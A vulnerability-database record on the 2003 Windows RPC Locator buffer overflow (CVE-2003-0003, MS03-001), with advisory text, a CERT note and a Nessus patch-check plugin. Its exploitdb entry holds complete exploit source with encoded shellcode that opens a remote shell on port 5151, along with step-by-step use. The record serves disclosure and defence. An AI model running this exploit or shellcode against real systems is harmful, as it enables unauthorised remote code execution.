ID OSVDB:7117 Type osvdb Reporter David Litchfield(david@ngssoftware.com) Modified 2003-01-30T00:00:00
Description
Vulnerability Description
A remote overflow exists in Windows. The RPC Locator service fails to validate search requests resulting in a stack overflow. With a specially crafted request, an attacker can cause arbitrary code execution resulting in a loss of integrity.
Solution Description
Currently, there are no known workarounds or upgrades to correct this issue. However, Microsoft has released a patch to address this vulnerability.
Short Description
A remote overflow exists in Windows. The RPC Locator service fails to validate search requests resulting in a stack overflow. With a specially crafted request, an attacker can cause arbitrary code execution resulting in a loss of integrity.
References:
Other Advisory URL: http://www.nextgenss.com/advisories/ms-rpc-loc.txt
Microsoft Security Bulletin: MS03-001
Mail List Post: http://marc.theaimsgroup.com/?l=bugtraq&m=104394414713415&w=2
Keyword: #NISR29012003
ISS X-Force ID: 11132
CVE-2003-0003
CIAC Advisory: n-033
CERT VU: 610986
CERT: CA-2003-03
Bugtraq ID: 6666
{"title": "Microsoft Windows RPC Locator Remote Overflow", "published": "2003-01-30T00:00:00", "references": [], "type": "osvdb", "enchantments": {"score": {"value": 7.6, "vector": "NONE", "modified": "2017-04-28T13:20:02"}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2003-0003"]}, {"type": "exploitdb", "idList": ["EDB-ID:22194", "EDB-ID:5"]}, {"type": "canvas", "idList": ["MS03_001"]}, {"type": "nessus", "idList": ["SMB_NT_MS03-001.NASL"]}, {"type": "cert", "idList": ["VU:610986"]}], "modified": "2017-04-28T13:20:02"}, "vulnersScore": 7.6}, "cvelist": ["CVE-2003-0003"], "viewCount": 0, "affectedSoftware": [{"version": "2000", "name": "Windows", "operator": "eq"}, {"version": "NT 4.0, Terminal Server Edition", "name": "Windows", "operator": "eq"}, {"version": "XP", "name": "Windows", "operator": "eq"}, {"version": "NT 4.0", "name": "Windows", "operator": "eq"}], "hash": "0c348581cfe5d425f6ab85ac216ef71102f5997bcc83fe47f3e0e447d42cb368", "id": "OSVDB:7117", "modified": "2003-01-30T00:00:00", "history": [], "href": "https://vulners.com/osvdb/OSVDB:7117", "hashmap": [{"hash": "1b64eae02a5dca83c7ceddb8505a9832", "key": "affectedSoftware"}, {"hash": "f9fa10ba956cacf91d7878861139efb9", "key": "bulletinFamily"}, {"hash": "471bc6056a2ea2262d586be39b28da83", "key": "cvelist"}, {"hash": "e5d275b3ebd62646b78320753699e02e", "key": "cvss"}, {"hash": "ba0f0834325948ebaa164873cfb5eaa0", "key": "description"}, {"hash": "8638b6acadc4dbdc94c94b4b038b5210", "key": "href"}, {"hash": "932ba27e107158d39f593c6eb1d9865a", "key": "modified"}, {"hash": "56765472680401499c79732468ba4340", "key": "objectVersion"}, {"hash": "932ba27e107158d39f593c6eb1d9865a", "key": "published"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "references"}, {"hash": "74a74dc2a049d28774cfafd010b94e69", "key": "reporter"}, {"hash": "dc317e06b7508549b3002bada77fae9e", "key": "title"}, {"hash": "1327ac71f7914948578f08c54f772b10", "key": "type"}], "objectVersion": "1.2", "edition": 1, "description": "## Vulnerability Description\nA remote overflow exists in Windows. The RPC Locator service fails to validate search requests resulting in a stack overflow. With a specially crafted request, an attacker can cause arbitrary code execution resulting in a loss of integrity.\n## Solution Description\nCurrently, there are no known workarounds or upgrades to correct this issue. However, Microsoft has released a patch to address this vulnerability.\n## Short Description\nA remote overflow exists in Windows. The RPC Locator service fails to validate search requests resulting in a stack overflow. With a specially crafted request, an attacker can cause arbitrary code execution resulting in a loss of integrity.\n## References:\nOther Advisory URL: http://www.nextgenss.com/advisories/ms-rpc-loc.txt\nMicrosoft Security Bulletin: MS03-001\nMail List Post: http://marc.theaimsgroup.com/?l=bugtraq&m=104394414713415&w=2\nKeyword: #NISR29012003\nISS X-Force ID: 11132\n[CVE-2003-0003](https://vulners.com/cve/CVE-2003-0003)\nCIAC Advisory: n-033\nCERT VU: 610986\nCERT: CA-2003-03\nBugtraq ID: 6666\n", "bulletinFamily": "software", "reporter": "David Litchfield(david@ngssoftware.com)", "cvss": {"vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/", "score": 7.5}, "lastseen": "2017-04-28T13:20:02"}
{"cve": [{"lastseen": "2019-05-29T18:07:56", "bulletinFamily": "NVD", "description": "Buffer overflow in the RPC Locator service for Microsoft Windows NT 4.0, Windows NT 4.0 Terminal Server Edition, Windows 2000, and Windows XP allows local users to execute arbitrary code via an RPC call to the service containing certain parameter information.", "modified": "2019-04-30T14:27:00", "id": "CVE-2003-0003", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2003-0003", "published": "2003-02-07T05:00:00", "title": "CVE-2003-0003", "type": "cve", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "exploitdb": [{"lastseen": "2016-01-31T10:44:19", "bulletinFamily": "exploit", "description": "MS Windows RPC Locator Service Remote Exploit. CVE-2003-0003. Remote exploit for windows platform", "modified": "2003-04-03T00:00:00", "published": "2003-04-03T00:00:00", "id": "EDB-ID:5", "href": "https://www.exploit-db.com/exploits/5/", "type": "exploitdb", "title": "Microsoft Windows RPC Locator Service - Remote Exploit", "sourceData": "/****************************************************************************\r\nrpcexp.c\r\nRPC LOCATOR Exploit\r\nAutor: Marcin Wolak\r\nmail: mwolak11@wp.pl\r\nLast update: 30 march 2003\r\n****************************************************************************/\r\n\r\n/*****************************************************************************\r\nAbout Compilation:\r\nWhat You need to compile rpcexp.c ?\r\n1. MS Platform SDK (August SDK is sufficient).\r\n2. Compilator (f.e. MS Visual C++ 6.0).\r\nrpcns4.lib is needed for linking.\r\n*****************************************************************************/\r\n\r\n/*****************************************************************************\r\nUsage (You want to exploit remote Windows 2000 system (w2khost) with running RPC\r\nLocator Service):\r\n1. Set registry values in Your workstation as below:\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Rpc\\NameService\\NetworkAddress = w2khost\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Rpc\\NameService\\ServerNetworkAddress = w2khost\r\n2. Establish null session:\r\nnet use \\\\w2khost\\ipc$ \"\"/u: \"\"\r\n3. Run Exploit:\r\nrpcexp.exe /os w2ksp3\r\n\r\nIf everything it's ok, rpcexp hangs in console window. You can go to second\r\ncmd console, run telnet (on port 5151) and get cmd on w2khost - just run\r\non second console:\r\n\r\ntelnet w2khost 5151\r\n\r\nWARNNING !\r\nWith this shellcode You can get remote cmd only once. Second attempt will\r\nbe rejected.\r\n\r\nWARNNING !!\r\nCurrently only Windows 2000 Sp3 and Windows NT 4 Sp6a are exploitable with\r\nrpcexp.\r\n\r\n*****************************************************************************/\r\n\r\n#define UNICODE\r\n#define RPC_UNICODE_SUPPORTED\r\n\r\n#define NT4SP6ABRD 0x42\r\n#define W2KSP3BRD 0x142\r\n\r\n#define NT4SP6AJMP 0x0147FBC4\r\n#define W2KSP3JMP 0x0090F8F0\r\n\r\n#define NT4SP6ALLA 0x77F137BD\r\n#define NT4SP6AGPA 0x77F13FB3\r\n\r\n#include <stdio.h>\r\n#include <rpc.h>\r\n#include <rpcnsi.h>\r\n\r\n\r\n#define PURPOSE \\\r\n\"RPC Locator exploit utility \\n\\\r\nAutor: Marcin Wolak - march 2003 \\n\\\r\nmail: mwolak@gazeta.pl \\n\\n\\\r\nTested on:\\n\\n\\\r\nWindows 2000 SP3 \\n\\\r\nWindows NT 4.0 SP6a \\n\\n\\\r\nOnly for educational purposes !!!.\\n\\n\\\r\nUsage:\\n\\\r\nrpcexp.exe /v - to view rpcexp info.\\n\\\r\nrpcexp.exe /os w2ksp3 - to exploit Windows 2000 Sp3.\\n\\\r\nrpcexp.exe /os ntsp6a - to exploit Windows NT 4 Sp6a.\\n\"\r\n\r\n\r\nchar shellcode [] =\r\n\"\\xEB\\x13\\x5F\\xB9\\xCF\\x02\\xCF\\x02\\xC1\\xE9\\x10\\x57\\x80\\x37\\x99\\x47\\xE2\\xFA\\x5F\\xEB\"\r\n\"\\x05\\xE8\\xE8\\xFF\\xFF\\xFF\\x14\\x2E\\x42\\x98\\x99\\x99\\x14\\x06\\x59\\x9B\\x99\\x99\\xCF\\x66\"\r\n\"\\x8A\\xCE\\x14\\x06\\x5D\\x9B\\x99\\x99\\x14\\x26\\x54\\x9B\\x99\\x99\\x10\\x5B\\x65\\xA8\\x50\\x28\"\r\n\"\\x94\\xD0\\xA9\\x59\\x35\\x1D\\x59\\xEC\\x60\\xCA\\xCB\\xC8\\xCF\\xCB\\x66\\x8A\\x32\\xC0\\xC3\\xC2\"\r\n\"\\x7B\\x75\\xC2\\xCA\\x14\\x02\\x59\\x9B\\x99\\x99\\xA9\\x59\\x35\\x1D\\x59\\xEC\\x60\\xCF\\x66\\x8A\"\r\n\"\\x10\\x5B\\xC2\\xCA\\x14\\x02\\x5D\\x9B\\x99\\x99\\x65\\xA8\\x50\\x28\\x9E\\xA9\\x59\\x35\\x1D\\x59\"\r\n\"\\xEC\\x60\\xCA\\xCB\\xC8\\xCF\\xCB\\x66\\x8A\\x32\\xC0\\xC3\\xC2\\x7B\\x75\\xA8\\x59\\x2D\\x9D\\xC9\"\r\n\"\\x58\\x71\\x9D\\xC9\\x66\\xCE\\x55\\x10\\x5B\\xC2\\xCA\\x14\\x02\\x25\\x99\\x99\\x99\\xA8\\x50\\x18\"\r\n\"\\x58\\xC4\\x9B\\x99\\x99\\xC9\\x13\\x8A\\x11\\x89\\xDA\\xD9\\x7B\\x61\\xC1\\x14\\x02\\x15\\x99\\x99\"\r\n\"\\x99\\xCA\\xF1\\x99\\x99\\x99\\x99\\xC9\\xC9\\xF1\\x99\\x99\\x99\\x99\\xF1\\x99\\x99\\x99\\x99\\x66\"\r\n\"\\xCE\\x21\\xC9\\xF1\\x99\\x89\\x99\\x99\\x66\\xCE\\x41\\xC1\\x72\\x6D\\x70\\x9E\\x9B\\x99\\x99\\xC6\"\r\n\"\\xCE\\x18\\x5E\\xD5\\x99\\x99\\x99\\x10\\x67\\x18\\x5F\\x16\\x66\\x66\\x66\\xC2\\x18\\x5A\\x39\\x99\"\r\n\"\\x99\\x99\\xCA\\xF1\\x9B\\x9B\\x99\\x99\\x66\\xCE\\x7D\\xA8\\x59\\xC9\\xD9\\xC9\\xD9\\xC9\\x66\\xCE\"\r\n\"\\x71\\x0A\\xF1\\x89\\x99\\x99\\x99\\xCF\\xCA\\x66\\xCE\\x75\\xF1\\x9B\\x99\\x99\\x99\\xCA\\x66\\xCE\"\r\n\"\\x69\\xA8\\x59\\xCE\\xC9\\x29\\x95\\x32\\xC1\\x32\\xD9\\x32\\xC6\\xD1\\xC9\\xCE\\xCF\\x34\\xCF\\x66\"\r\n\"\\xCE\\x25\\xD1\\xC9\\xCE\\x34\\xCF\\x34\\xCF\\x66\\xCE\\x25\\xD1\\x29\\xDD\\x10\\x9E\\xCE\\x66\\xCE\"\r\n\"\\x59\\xA8\\x59\\x12\\xDF\\x6D\\x10\\xDE\\xA5\\x10\\xDE\\xD9\\x12\\x9F\\x10\\xDE\\xA1\\xA8\\x59\\xFF\"\r\n\"\\x21\\x98\\x98\\x10\\xDE\\xB5\\xCE\\xCE\\xA8\\x59\\xC9\\xC9\\xC9\\xD9\\xC9\\xD1\\xC9\\xC9\\x34\\xCF\"\r\n\"\\xA8\\x59\\xC9\\x66\\xCE\\x5D\\x66\\xEF\\x69\\x66\\xCE\\x79\\x66\\xEF\\x65\\x66\\xCE\\x79\\xD1\\xC9\"\r\n\"\\xC9\\xCA\\x66\\xCE\\x6D\\x10\\x5A\\xA8\\x59\\x2D\\x9D\\xC9\\x58\\x71\\x9D\\xC9\\x66\\xCE\\x55\\x10\"\r\n\"\\x5F\\xA8\\x59\\x10\\x58\\x2C\\x9D\\xC9\\xC9\\xCE\\xC8\\xCF\\x66\\xEE\\x0A\\x66\\xCE\\x51\\x18\\xA6\"\r\n\"\\x98\\x99\\x99\\x99\\xE5\\xBC\\xA8\\x59\\xC9\\xCE\\x66\\xAE\\xCF\\x66\\xEE\\x0A\\x66\\xCE\\x4D\\x90\"\r\n\"\\x59\\xED\\x8D\\xA8\\x59\\xC9\\x66\\xAE\\xCF\\xCA\\x66\\xCE\\x61\\xF1\\xC9\\x99\\x99\\x99\\x66\\xCE\"\r\n\"\\x41\\x72\\x5B\\xA8\\x59\\xC9\\x2D\\x9D\\xC9\\xCF\\xCA\\x66\\xCE\\x65\\xCE\\xA8\\x50\\xC8\\xC9\\xCF\"\r\n\"\\x66\\xEE\\x0E\\x66\\xCE\\x49\\xF1\\xC9\\x99\\x99\\x99\\x66\\xCE\\x41\\x72\\x38\\xC9\\x66\\xCE\\x45\"\r\n\"\\x09\\xD2\\xDC\\xCB\\xD7\\xDC\\xD5\\xAA\\xAB\\x99\\xDC\\xE1\\xF0\\xED\\xCD\\xF1\\xEB\\xFC\\xF8\\xFD\"\r\n\"\\x99\\xDA\\xEB\\xFC\\xF8\\xED\\xFC\\xCD\\xF1\\xEB\\xFC\\xF8\\xFD\\x99\\xDA\\xEB\\xFC\\xF8\\xED\\xFC\"\r\n\"\\xC9\\xF0\\xE9\\xFC\\x99\\xDE\\xFC\\xED\\xCA\\xED\\xF8\\xEB\\xED\\xEC\\xE9\\xD0\\xF7\\xFF\\xF6\\xD8\"\r\n\"\\x99\\xDA\\xEB\\xFC\\xF8\\xED\\xFC\\xC9\\xEB\\xF6\\xFA\\xFC\\xEA\\xEA\\xD8\\x99\\xC9\\xFC\\xFC\\xF2\"\r\n\"\\xD7\\xF8\\xF4\\xFC\\xFD\\xC9\\xF0\\xE9\\xFC\\x99\\xDE\\xF5\\xF6\\xFB\\xF8\\xF5\\xD8\\xF5\\xF5\\xF6\"\r\n\"\\xFA\\x99\\xCE\\xEB\\xF0\\xED\\xFC\\xDF\\xF0\\xF5\\xFC\\x99\\xCB\\xFC\\xF8\\xFD\\xDF\\xF0\\xF5\\xFC\"\r\n\"\\x99\\xCA\\xF5\\xFC\\xFC\\xE9\\x99\\xDC\\xE1\\xF0\\xED\\xC9\\xEB\\xF6\\xFA\\xFC\\xEA\\xEA\\x99\\xDA\"\r\n\"\\xF5\\xF6\\xEA\\xFC\\xD1\\xF8\\xF7\\xFD\\xF5\\xFC\\x99\\xCE\\xCA\\xD6\\xDA\\xD2\\xAA\\xAB\\x99\\xCE\"\r\n\"\\xCA\\xD8\\xCA\\xED\\xF8\\xEB\\xED\\xEC\\xE9\\x99\\xEA\\xF6\\xFA\\xF2\\xFC\\xED\\x99\\xFB\\xF0\\xF7\"\r\n\"\\xFD\\x99\\xF5\\xF0\\xEA\\xED\\xFC\\xF7\\x99\\xF8\\xFA\\xFA\\xFC\\xE9\\xED\\x99\\xEA\\xFC\\xF7\\xFD\"\r\n\"\\x99\\xEB\\xFC\\xFA\\xEF\\x99\\x9B\\x99\\x8D\\x86\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\"\r\n\"\\x99\\x99\\xFA\\xF4\\xFD\\xB7\\xFC\\xE1\\xFC\\x99\\xFD\\x06\\x71\\xEE\\x81\\x02\\x71\\xEE\\x71\\x6D\"\r\n\"\\x64\\x66\\x66\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\";\r\n\r\nvoid Usage(char * pszProgramName)\r\n{\r\n fprintf(stderr, \"%s\", PURPOSE);\r\n exit(1);\r\n}\r\n\r\nvoid _CRTAPI1 main(int argc, char **argv)\r\n{\r\n\tunsigned short mytab[2000];\t\t\t\t// Exploit Buffer\r\n unsigned char * TmpEntryName = NULL;\t\t// Temporary Entry.\r\n\tunsigned long * EntryName = NULL;\r\n\tunsigned long * TmpPtr = NULL;\r\n unsigned short * pszStrBinding = NULL;\r\n RPC_NS_HANDLE hnsHandle;\r\n unsigned long NsSntxType = RPC_C_NS_SYNTAX_DEFAULT;\r\n RPC_STATUS status;\r\n short fSuccess = 0;\r\n short fContinue = 1;\r\n unsigned long i,k;\r\n\r\n\tunsigned long * PtrLLA = (unsigned long*) &shellcode[730];\r\n\tunsigned long * PtrGPA = (unsigned long*) &shellcode[734];\r\n\tunsigned long JMP = W2KSP3JMP;\r\n\tunsigned long BORDER = W2KSP3BRD;\r\n\r\n\tswitch(argc){\r\n\t\tcase 2:\r\n\t\t\tif((strlen(argv[1]) == 2) && (!strcmp(argv[1],\"/v\")))\r\n\t\t\t\tUsage(argv[0]);\r\n\t\t\telse\r\n\t\t\t\tprintf(\"Bad arguments !!!\\n\");\r\n\t\t\texit(2);\r\n\t\tcase 3:\r\n\t\t\tif((strlen(argv[1]) == 3) && (strlen(argv[2]) == 6) &&\r\n\t\t\t (!strcmp(argv[1],\"/os\")) && (!strcmp(argv[2],\"w2ksp3\")))\r\n\t\t\t break;\r\n\t\t\tif((strlen(argv[1]) == 3) && (strlen(argv[2]) == 6) &&\r\n\t\t\t (!strcmp(argv[1],\"/os\")) && (!strcmp(argv[2],\"ntsp6a\")))\r\n\t\t\t{\r\n\t\t\t\t(*PtrLLA) = NT4SP6ALLA ^ 0x99999999;\r\n\t\t\t\t(*PtrGPA) = NT4SP6AGPA ^ 0x99999999;\r\n\t\t\t\tJMP = NT4SP6AJMP;\r\n\t\t\t\tBORDER = NT4SP6ABRD;\r\n\t\t\t break;\r\n\t\t\t}\r\n\t\tdefault:\r\n\t\t\tUsage(argv[0]);\r\n\r\n\t}\r\n\r\n\tEntryName = (unsigned long *) mytab;\r\n\tTmpEntryName = (unsigned char *) mytab;\r\n\tTmpEntryName[0] = '/';\r\n\tTmpEntryName[1] = 0;\r\n\tTmpEntryName[2] = '.';\r\n\tTmpEntryName[3] = 0;\r\n\tTmpEntryName[4] = ':';\r\n\tTmpEntryName[5] = 0;\r\n\tTmpEntryName[6] = '/';\r\n\tTmpEntryName[7] = 0;\r\n\tfor (i=2;i<768;i++)\r\n\t{\r\n\t\tif(i <= BORDER)\r\n\t\t\tEntryName[i] = JMP;\r\n\t\tif(i == BORDER)\r\n\t\t{\r\n\t\t\tTmpPtr = (unsigned long*) shellcode;\r\n\t\t\tfor(k = 0;k < 190;k++)\r\n\t\t\t\tEntryName[i+k] = TmpPtr[k];\r\n\t\t\ti += 189;\r\n\t\t}\r\n\t\tif(i > BORDER)\r\n\t\t\tEntryName[i] = JMP;\r\n\t}\r\n\tEntryName[768] = 0;\r\n\r\n\t RpcTryExcept {\r\n\t\t status = RpcNsBindingLookupBegin(NsSntxType,\r\n (unsigned short *) EntryName,\r\n 0,\r\n NULL,\r\n\t\t\t\t\t\t\t0,\r\n\t\t\t\t\t\t\t&hnsHandle);\r\n\t\t printf(\"RpcNsBindingLookupBegin returned 0x%x\\n\", status);\r\n\t }\r\n\t RpcExcept(1){\r\n\t\t printf(\"RPC Runtime raised exception 0x%x\\n\", RpcExceptionCode());\r\n\t }\r\n\t RpcEndExcept\r\n} /*End of Main*/\n\n// milw0rm.com [2003-04-03]\n", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/5/"}, {"lastseen": "2016-02-02T18:11:29", "bulletinFamily": "exploit", "description": "Microsoft Windows XP/2000/NT 4 Locator Service Buffer Overflow Vulnerability. CVE-2003-0003. Remote exploit for windows platform", "modified": "2003-01-22T00:00:00", "published": "2003-01-22T00:00:00", "id": "EDB-ID:22194", "href": "https://www.exploit-db.com/exploits/22194/", "type": "exploitdb", "title": "Microsoft Windows XP/2000/NT 4 Locator Service Buffer Overflow Vulnerability", "sourceData": "source: http://www.securityfocus.com/bid/6666/info\r\n\r\nIt has been reported that the Microsoft Windows Locator service is affected by a remotely exploitable buffer overflow vulnerability. The condition is due to a memory copy of RPC arguments received from remote clients into a local buffer.\r\n\r\nThis vulnerability may be exploited by remote attackers to execute custom instructions on the target server. It is also possible to crash the service with a malicious request. It should be noted that, to exploit this vulnerability, no authentication is required. Additionally, the Locator service is enabled by default on all Windows 2000 and Windows NT Domain Controllers (DC).\r\n\r\nhttps://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/22194.zip", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/22194/"}], "cert": [{"lastseen": "2019-10-09T19:53:00", "bulletinFamily": "info", "description": "### Overview \n\nA remotely exploitable buffer overflow exists in the Microsoft Locator service. This vulnerability may allow a remote attacker to execute arbitrary code on a vulnerable system.\n\n### Description \n\nThe Microsoft Locator service \"maps logical names to network-specific names\". Quoting from [MS03-001](<http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/ms03-001.asp>):\n\n`The Microsoft Locator service is a name service that maps logical names to network-specific names. It ships with Windows NT 4.0, Windows 2000, and Windows XP. By default, the Locator service is enabled only on Windows 2000 domain controllers and Windows NT 4.0 domain controllers; it is not enabled on Windows NT 4.0 workstations or member servers, Windows 2000 workstations or member servers, or Windows XP.` \nBy sending an overly large request to the Locator service, a remote attacker may be able to execute arbitrary code on a vulnerable system. \n \n**The Locator service is enabled by default on Windows 2000 domain controllers and Windows NT 4.0 domain controllers**. \n \nThe Locator service is not enabled by default on the following platforms: \n\n\n * Windows NT 4.0 (Workstations and Member Servers)\n * Windows 2000 (Workstations and Member Servers)\n * Windows XP \n--- \n \n### Impact \n\nA remote attacker may be able to execute arbitrary code on a vulnerable system. \n \n--- \n \n### Solution \n\nApply a patch. \n \n--- \n \n### Vendor Information\n\n610986\n\nFilter by status: All Affected Not Affected Unknown\n\nFilter by content: __ Vendor has issued information\n\n__ Sort by: Status Alphabetical\n\nExpand all\n\n__ Affected __ Unknown __ Unaffected \n\n**Javascript is disabled. Click here to view vendors.**\n\n### __ __ Microsoft Corporation\n\nUpdated: January 23, 2003 \n\n### Status\n\n__ Vulnerable\n\n### Vendor Statement\n\nPlease see <http://www.microsoft.com/security/security_bulletins/ms03-001.asp>.\n\n### Vendor Information\n\nThe vendor has not provided us with any further information regarding this vulnerability.\n\n### Addendum\n\nThe CERT/CC has no additional comments at this time.\n\nIf you have feedback, comments, or additional information about this vulnerability, please send us [email](<mailto:cert@cert.org?Subject=VU%23610986 Feedback>).\n\n \n\n\n### CVSS Metrics \n\nGroup | Score | Vector \n---|---|--- \nBase | N/A | N/A \nTemporal | N/A | N/A \nEnvironmental | | N/A \n \n \n\n\n### References \n\n * <http://msdn.microsoft.com/library/en-us/rpc/rpc/using_microsoft_locator.asp>\n * <http://www.microsoft.com/security/security_bulletins/ms03-001.asp>\n * <http://www.nextgenss.com/>\n\n### Acknowledgements\n\nThanks to Microsoft for providing MS03-001, upon which this document is based. This vulnerability was discovered by David Litchfield of Next Generation Security Software Ltd.\n\nThis document was written by Ian A Finlay.\n\n### Other Information\n\n**CVE IDs:** | [CVE-2003-0003](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2003-0003>) \n---|--- \n**CERT Advisory:** | [CA-2003-03 ](<http://www.cert.org/advisories/CA-2003-03.html>) \n**Severity Metric:****** | 41.77 \n**Date Public:** | 2003-01-22 \n**Date First Published:** | 2003-01-23 \n**Date Last Updated: ** | 2003-01-23 21:22 UTC \n**Document Revision: ** | 20 \n", "modified": "2003-01-23T21:22:00", "published": "2003-01-23T00:00:00", "id": "VU:610986", "href": "https://www.kb.cert.org/vuls/id/610986", "type": "cert", "title": "Microsoft Locator service contains buffer overflow", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "nessus": [{"lastseen": "2019-12-13T09:17:52", "bulletinFamily": "scanner", "description": "The Microsoft Locate service is a name server that maps logical names\nto network-specific names.\n\nThere is a security vulnerability in this server that allows an\nattacker to execute arbitrary code in it by sending a specially\ncrafted packet to it.", "modified": "2019-12-02T00:00:00", "id": "SMB_NT_MS03-001.NASL", "href": "https://www.tenable.com/plugins/nessus/11212", "published": "2003-01-23T00:00:00", "title": "MS03-001: Unchecked buffer in Locate Service (810833)", "type": "nessus", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(11212);\n script_version(\"1.46\");\n script_cvs_date(\"Date: 2018/11/15 20:50:29\");\n\n script_cve_id(\"CVE-2003-0003\");\n script_bugtraq_id(6666);\n script_xref(name:\"MSFT\", value:\"MS03-001\");\n script_xref(name:\"CERT\", value:\"610986\");\n script_xref(name:\"MSKB\", value:\"810833\");\n\n script_name(english:\"MS03-001: Unchecked buffer in Locate Service (810833)\");\n script_summary(english:\"Checks for MS Hotfix 810833\");\n\n script_set_attribute(attribute:\"synopsis\", value:\"Arbitrary code can be executed on the remote host.\");\n script_set_attribute(attribute:\"description\", value:\n\"The Microsoft Locate service is a name server that maps logical names\nto network-specific names.\n\nThere is a security vulnerability in this server that allows an\nattacker to execute arbitrary code in it by sending a specially\ncrafted packet to it.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2003/ms03-001\");\n script_set_attribute(attribute:\"solution\", value:\"Microsoft has released a set of patches for Windows NT, 2000 and XP.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_core\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_canvas\", value:\"true\");\n script_set_attribute(attribute:\"canvas_package\", value:'CANVAS');\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2003/01/30\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2003/01/22\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2003/01/23\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:microsoft:windows\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n\n script_copyright(english:\"This script is Copyright (C) 2003-2018 Tenable Network Security, Inc.\");\n script_family(english:\"Windows : Microsoft Bulletins\");\n\n script_dependencies(\"smb_hotfixes.nasl\", \"smb_enum_services.nasl\", \"ms_bulletin_checks_possible.nasl\");\n script_require_keys(\"SMB/MS_Bulletin_Checks/Possible\");\n script_require_ports(139, 445, 'Host/patch_management_checks');\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"smb_func.inc\");\ninclude(\"smb_hotfixes.inc\");\ninclude(\"smb_hotfixes_fcheck.inc\");\ninclude(\"misc_func.inc\");\n\nget_kb_item_or_exit(\"SMB/MS_Bulletin_Checks/Possible\");\n\nbulletin = 'MS03-001';\nkb = \"810833\";\n\nkbs = make_list(kb);\nif (get_kb_item(\"Host/patch_management_checks\")) hotfix_check_3rd_party(bulletin:bulletin, kbs:kbs, severity:SECURITY_HOLE);\n\nget_kb_item_or_exit(\"SMB/Registry/Enumerated\");\nget_kb_item_or_exit(\"SMB/WindowsVersion\", exit_code:1);\n\nif (hotfix_check_sp_range(nt:'6', win2k:'2,3', xp:'0,1') <= 0) audit(AUDIT_OS_SP_NOT_VULN);\n\nrootfile = hotfix_get_systemroot();\nif (!rootfile) exit(1, \"Failed to get the system root.\");\n\nshare = hotfix_path2share(path:rootfile);\nif (!is_accessible_share(share:share)) audit(AUDIT_SHARE_FAIL, share);\n\nif (\n hotfix_is_vulnerable(os:\"5.1\", sp:1, file:\"Locator.exe\", version:\"5.1.2600.1147\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"5.1\", sp:0, file:\"Locator.exe\", version:\"5.1.2600.108\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"5.0\", file:\"Locator.exe\", version:\"5.0.2195.6136\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"4.0\", file:\"Locator.exe\", version:\"4.0.1381.7202\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"4.0\", file:\"Locator.exe\", version:\"4.0.1381.33534\", min_version:\"4.0.1381.33000\", dir:\"\\system32\", bulletin:bulletin, kb:kb)\n)\n{\n set_kb_item(name:\"SMB/Missing/\"+bulletin, value:TRUE);\n hotfix_security_hole();\n hotfix_check_fversion_end();\n exit(0);\n}\nelse\n{\n hotfix_check_fversion_end();\n audit(AUDIT_HOST_NOT, 'affected');\n}\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "canvas": [{"lastseen": "2019-05-29T17:19:24", "bulletinFamily": "exploit", "description": "**Name**| ms03_001 \n---|--- \n**CVE**| CVE-2003-0003 \n**Exploit Pack**| [CANVAS](<http://http://www.immunityinc.com/products-canvas.shtml>) \n**Description**| Microsoft Windows RPC Locator Overflow \n**Notes**| CVE Name: CVE-2003-0003 \nVENDOR: Microsoft \nMSADV: MS03-001 \nVersionsAffected: \nRepeatability: \nReferences: http://www.microsoft.com/technet/security/Bulletin/MS03-001.mspx \nCVE Url: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0003 \nDate public: 01/22/03 \nCVSS: 7.5 